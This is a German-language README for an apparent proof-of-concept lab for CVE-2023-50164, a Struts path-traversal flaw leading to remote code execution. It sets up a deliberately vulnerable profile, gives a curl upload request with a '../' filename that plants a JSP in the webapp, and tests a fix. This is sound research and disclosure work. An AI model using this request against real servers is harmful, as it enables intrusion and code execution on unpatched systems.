
Dies ist ein Proof of Concept (PoC) für CVE-2023-50164, der eine neue Path-Traversal-Schwachstelle beschreibt, die zu Remote Code Execution (RCE) in struts-core führen kann.
Um das Problem zu beheben, wird empfohlen, auf Struts 2.5.33 oder Struts 6.3.0.2 oder höher zu aktualisieren.
Dieses Repository baut auf der hervorragenden Arbeit von Henrik Plate auf, die hier zu finden ist.
Es gibt zwei Maven-Profile in diesem Projekt: vuln und no-vuln. vuln ist das Standardprofil.
Um mit der RCE-Schwachstelle auszuführen, führen Sie den folgenden Befehl aus:
mvn clean jetty:run -P vuln
Um ohne die RCE-Schwachstelle auszuführen, führen Sie den folgenden Befehl aus:
mvn clean jetty:run -P no-vuln
Der Unterschied zwischen den beiden Profilen besteht darin, dass vuln die Version 6.3.0.1 von struts-core verwendet (die die Path-Traversal-Schwachstelle enthält) und no-vuln die Version 6.3.0.2 von struts-core verwendet (die die Path-Traversal-Schwachstelle nicht enthält).
Führen Sie bei laufendem, oben beschriebenem vuln-Profil den folgenden Befehl aus:
curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
Sie können die Datei rogue.jsp im Ordner src/main/webapp sehen und unter http://localhost:9999/struts-vuln-poc/rogue.jsp darauf zugreifen (Sie sehen eine Meldung Ya been PWNED!).
Es gibt einen Code-Fix, der mit den älteren Struts-Versionen funktioniert, aber es wird dennoch dringend empfohlen, Ihre Struts-Version zu aktualisieren.
Um den Code-Fix zu testen, führen Sie den folgenden Befehl aus:
curl \
http://localhost:9999/struts-vuln-poc/upload-no-vuln.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
Sie sehen eine Fehlermeldung: Attempted path traversal attack
HINWEIS: Wenn Sie das no-vuln-Profil verwenden, erhalten Sie keine Fehlermeldung vom Endpunkt /upload-no-vuln, selbst wenn Sie einen relativen Pfad wie ../src/main/webapp/rogue.jsp verwenden, da die neue Version von Struts relative Pfadangaben automatisch entfernt.